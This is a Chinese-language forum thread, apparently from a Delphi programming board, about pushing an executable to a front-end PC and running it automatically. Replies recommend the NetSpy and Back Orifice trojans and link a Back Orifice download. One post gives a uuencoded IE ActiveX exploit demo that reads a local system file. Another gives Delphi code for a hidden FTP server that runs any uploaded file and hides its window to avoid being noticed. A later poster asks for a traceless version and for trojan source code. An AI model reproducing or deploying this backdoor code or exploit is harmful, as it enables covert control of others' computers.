不是黑客的问题：如何将.Exe发送到前端并自动启动？(100分)

如题。

编一个FTP SERVER放在前端，这下你可控制前端机器的所有东西了，和止传文件！
运行程序也可由这个FTP SERVER 负责！

听说过NETSPY吗，他就是这个思路做的，可以控制你机器的所有东西，可怕吧！
可到HACK站点下载一个，别太相信作者的话，当心自己的机器被黑！！！

呵呵，如果前端有IE的话，可以把exe变成ActiveX，让前端浏览时自动下载并执行。

可以下载一个Back Orifice,
ftp://cheminf.nankai.edu.cn/Utility/HCTools/BackOrifice/1.20/

可以用TCP或UDP控件分别做Client和Server，
发送和接收数据，再接收程序中根据收到的
数据的文件名称和后缀确定进行的操作，例如
如果是图形文件，调用图形浏览器，如果是执行
文件，直接执行，等等
实际上，在NEWT Intranet ActiveX控件组中
有例子（似乎是由Net Manager公司出的）

这个问题怎么还没平仓？
说透了是自己写个无安全控制的FTP软件，
一个FTP SERVER 和一个FTP CLIENT
现成的例子是NETSPY和Back Orifice

两个都是HACK站点的宝贝。
用DELPHI写一个花不了多少时间！

To cpp:

Hehe, 一个FTP SERVER 和一个FTP CLIENT, 并不能自动启动程序. "你可控制前端机器的所有东西了", 这
是FTP能做到的吗?!

用IE好了，相信我，没错的。

可以制作一个PLUG IN
但浏览器浏览是可以自动下在到本地
直接执行,实际上就是一个DLL文件这样不但Netscape可用只要支持
plug in 的浏览器都可以使用
在delphi中作plugin不难

可以制作一个PLUG IN
但浏览器浏览是可以自动下在到本地
直接执行,实际上就是一个DLL文件这样不但Netscape可用只要支持
plug in 的浏览器都可以使用
在delphi中作plugin不难

请详细说明：前端的环境前提。

前端就只有浏览器。

Delphi可以在客户机上建立主动窗体，利用ocx技术内嵌到html中，当浏览器运行
时，会自动下载这个ocx并注册之，然后运行。
实际上你的EXE文件就变成OCX文件了。
如用网景公司的浏览器，则需将其编译成响应的插件，制作插件的控件DSP上有。

那也得看客户端的安全性设置如何。

sigh.加了#还是不能屏蔽。
下面是htm uuencode 过后的
section 1 of uuencode 5.21 of file fkie.htm by R.E.M.

begin 644 fkie.htm
MSM*/Q[7#SM*T/,'+N/:ZP[.DM<2CK+JFSM+'P/'+L.O,[*&C#0J]X;G[U/7#
MM+*[O/O!RZ.HNL///[6QRK&RN/K'U-K5XM*SHZP-"L_6U-K5TK*[M;W!RZ.I
MH:,O+W-I9V@-"L_6U-K6N[K#O/+2JK7$P+30J=*JM>/!RZ&CRM?/R,38TJK/
MR-"TN/:SS-#R#0JCJ+6QR+O$X[_)TM33PV1E;'!H:<"TT+35XKCVL/S0/J.L
MUO?2JLWJL/D-"B`@.37&]+:ORK&UQ-?4L++7L*.L<V5R=F5RM<2]J,&BHZQS
M97)V97+2JM/0N/8-"L//P>Z]XLK-QO>CK-+4L>.]^-#0U+:SS++9U]TLU^ZZ
MP]:GL]9P;'5G:6XI#0JY[=?3TJK3T$E%-++%U=6AHPT*S/+#YM*[N/9F:VEE
M-"YH=&W.Q+S^UZ+2XL'+*->BTN+2JK#1P[_0T,K7M<0CR*6U]"D-"K#1U>*X
M]F9K:64N:'1MM/7(Z/3CM<36]]*VUM"CK+'PR,O3PR`@244TM//.RLJQ#0J^
MS;_)TM2AHZ&CH:,IQ.._R=+4O[2UO<3CO/G2U,VHN?W5XKCV=F)S8VEP=+;4
M#0JVU+>]M<3/M<VSSL2/_KWXT-"RV=?WHZC(YV%U=&]E>&5C+F)A="DN+@T*
ML-'$X]?4O+JUQ,G/P^:QX-"TM<3$Q[CVL/S0/K2KN?W(I:.HTZ:XP[OAM*NP
MR:.I#0JWQ=3:875T;V5X8RYB873`[Z.LH:.AHZ&CR?&RN]:JN>VRN[[UH:.A
MHZ&C*0T*+VUE(+K#P-NPH7Y^?GY^?GY^?GY^?GY^?GY^?GY^?GY^#0HC/&AT
M;6P^#0H-"B,/:&5A9#X-"B,/;65T82!N86UE/2)D97-C<FEP=&EO;B(@8V]N
M=&5N=#TB17AP;&]R97(@=G5L;F5R86)I;&ET>2`Z("-#=6%R=&%N9V/@5VEN
M9&]W(&AO;&4B/@T*(SQM971A(&YA;64](D=%3D52051/4B(@8V]N=&5N=#TB
M36EC<F]S;V9T($9R;VYT4&%G92`C,RXP(CX-"B,/;65T82!N86UE/2)K97EW
M;W)D<R(-"B-C;VYT96YT/2)A8W1I=F5X('-E8W5R:71Y+&5X<&QO<F5R('-E
M8W5R:71Y(&AO;&4L97AP;&]R97(@(W9U;&YE<F%B:6QI='DL8W5A<G1A;F=O
M('=I;F1O=RQC=6%R=&%N9V/@:&]L92QC=6%R=&%N9V/@(VAA8VLL86-T:79E
M>"!H;VQE+'9B<V-R:7!T(&AO;&4L8W5A<G1A;F=O+'-E8W5R:71Y+'-E8W5R
M:71Y("-S:71E+'-E8W5R:71Y('=E8BQH86-K+'-E8W5R:71Y+')I<VLL:&]L
M92QS96-U<FET>2!H;VQE+&5X<&QO<F5R(CX-"B,/=&ET;&4^0W5A<G1A;F=O
M(%=I;F1O=R!D96UO/"]T:71L93X-"B,/+VAE860^#0H-"B,/8F]D>2!B9V-O
M;&]R/2(C0S!#,$,P(CX-"B,/<V-R:7!T(&QA;F=U86=E/2)60E-C<FEP="(^
M#0H-"B-I9B!I;G-T<B@Q+&YA=FEG871O<BYU<V5R06=E;G0L(DU3244B*2`]
M(#`@=&AE;B`-"B,@("`@("`@(&US9V)O>"`B4&QE87-E+"!U<V4@36EC<F]S
M;V9T($EN=&5R;F5T("-%>'!L;W)E<B(L,"PB1V]O9$)Y92(-"B,@("`@("`@
M('=I;F1O=RYN879I9V%T92`B:'1T<#HO+W=W=RYM:6-R;W-O9G0N8V]M(@T*
M(V5N9"!I9@T*(VEF('=I;F1O=RYS8W)E96XN=VED=&@@/#X@.#`P('1H96X@
M("`@("`@#0HC("`@("`@("!A;&5R="`B66]U<B!S8W)E96X@<F5S;VQU=&EO
M;B!M=7-T(&ampE(#@P,"!X(#8P,"(-"B,@("`@("`@('=I;F1O=RYN879I9V%T
M92`B8W5A<G1A;F=O=S$N:'1M;"(-"B-E;'-E("`@)R!C;V]R9&EN871E<R!G
M:79E;B!F;W(@.#`P('@@-C`P#0HC("`@("`@("!S970@=V-O=F5R(#T@=VEN
M9&]W+F]P96X@*")W96QC;VUE=')I8VLN:'1M;"(L(",B5V5L8V]M92(L(")T
M;W`@/2`Q.3`L;&5F="`](#(R-RP@:&5I9VAT(#T@.#`L('=I9'1H(#T@(S,S
M-2QT;V]L8F%R/6YO+"!M87AI;6EZ93UN;RP@<F5S:7IE86)L93UN;RP@<W1A
M='5S/6YO(BD-"B,@("`@("`@(%-E="!F<R`]($-R96%T94]B:F5C="@B4V-R
M:7!T:6YG+D9I;&53>7-T96U/8FIE8W0B*0T*(R`@("`@("`@=V-O=F5R+F-L
M;W-E#0HC("`@("`@("!3970@;7EF:6QE(#T@9G,N3W!E;E1E>'1&:6QE*")C
M.EQC;VYF:6<N<WES(BD-"B,@("`@("`@(&-O;G1E;G0@/2!M>69I;&4N<F5A
M9&%L;`T*(R`@("`@("`@;7EF:6QE+D-L;W-E#0HC96YD(&EF#0H-"B,/+W-C
M<FEP=#X-"@T*#0HC/&@Q(&%L:6=N/2)C96YT97(B/CQF;VYT(&-O;&]R/2(C
M1D8P,#`P(CY#=6%R=&%N9V/@5VEN9&]W("-$96UO/"]F;VYT/CPO:#$^#0H-
M"B,/<"!A;⪚CTB8V5N=&5R(CX/<W1R;VYG/E1H:7,@97AA;7!L92!S:&]W
M<R!Y;W4@:&]W($%C=&EV95@@(V-O=6QD(&1E<W1R;WD@>6]U<B!S>7-T96TN
M#0HC)FYB<W`[($%S(&%N(&5X86UP;&4@22!H879E(')E860@>6]U<B!C;VYF
M:6<N<WES("-F:6QE/"]S=')O;F<^/&ampR/@T*(T)A8VL@=&/@/&$@:')E9CTB
M8W5A<G1A;F=O=S$N:'1M;"(^0W5A<G1A;F=O(%=I;F1O=R`C4&%G93PO83X/
M+W`^#0H-"B,/9F]R;2!M971H;V0](E!/4U0B(&YA;64](F9O<FTQ(CX-"B,@
M(#QD:78@86QI9VX](F-E;G1E<B(^/&-E;G1E<CX/<#X/=&5X=&%R96$@<F]W
M<STB,3@B("-N86UE/2)3,2(@8V]L<STB-#DB/CPO=&5X=&%R96$^/"]P/@T*
M(R`@/"]C96YT97(^/"]D:78^#0HC/"]F;W)M/@T*(SQS8W)I<'0@;&%N9W5A
M9V4](E9"4V-R:7!T(CX-"@T*(R!D;V-U;65N="YF;W)M,2YS,2YV86QU92`]
M(&-O;G1E;G0-"@T*(SPO<V-R:7!T/@T*#0H-"B,/<#XF;F)S<#L/+W`^#0HC
9/"]B;V1Y/@T*(SPO:'1M;#X-"@T*#0H-"@H-
`
end
sum -r/size 11463/3535 section (from "begin" to "end")
sum -r/size 62709/2545 entire input file

用以下的方法是绝对可以搞定的啦，不行的话扣我的分！!
运行机理：前台放一个Ftpserver接收程序并运行。
1。首先下载一个Ftpserver控件：
http://sme.belgium.eu.net/~vip107/ftpsrv.zip并安装。
2。编写以下代码
unit ftpServer;//ftp服务器，负责接收并运行

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, FtpSrv, FtpSrvc,fmxutils,wsocket;
//手工添加fmxutils,wsocket,ftpsrvc三个单元,fmxutils.pas在Delphi的Demos/doc/filmanex目录下，必须把Fmxutils.pas拷贝到Delphi的Lib目录下。

type
TForm1 = class(TForm)
FtpServer1: TFtpServer;
procedure FtpServer1StorSessionClosed(Sender: TObject;
Client: TFtpCtrlSocket; Data: TWSocket; Error: Word);//上载完毕后激发此事件，启动上载的程序
procedure FtpServer1Authenticate(Sender: TObject;
Client: TFtpCtrlSocket; UserName, Password: String;
var Authenticated: Boolean);
procedure FormCreate(Sender: TObject);
procedure FormPaint(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FtpServer1StorSessionClosed(Sender: TObject;
Client: TFtpCtrlSocket; Data: TWSocket; Error: Word);
begin
ExecuteFile(Client.HomeDir+Client.FileName,'','',Sw_Show);//运行上载的程序,第一个参数为程序名，第二个参数为程序参数，第三个参数为程序工作目录，第四个参数为窗口的显示方式。
end;

procedure TForm1.FtpServer1Authenticate(Sender: TObject;
Client: TFtpCtrlSocket; UserName, Password: String;
var Authenticated: Boolean);
begin
Client.HomeDir:='c:/';//把客户的目录设为c:/
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
FtpServer1.Start;//启动Ftpserver
end;

procedure TForm1.FormPaint(Sender: TObject);
begin
Form1.Hide;//隐藏一下窗体，免得被人发现
end;

end.
3.在前端机上运行一下这个程序，在后台机上随便运行一个ftp客户程序，
当前台接收完毕完程序后，就自动启动程序运行。相当简单吧?(delphi 3下实现)
4.如果有什么不清楚的话，Emal to me:chen_ke@263.net
5.搞定了吧?

抱歉!人家要的是每不在前端执行任何程序!
如果搞定了(百试百灵),那么会有人把你杀了!

呵呵, 搞一个频道, 把您的程序做成ActiveX, 然后前端订阅, 您就
可以把您的程序给Push过去, 哈哈

chenke
我试过你的方法，不过在程序启动的时候
屏幕会一闪，还是不能达到象netspy那样
全无痕迹，能有更好的方法吗？
另：谁有类netspy程序的源代码？
小弟叩首拜领！

问题这许久没人回答了，该说的各位大虾都说了，就结束了吧！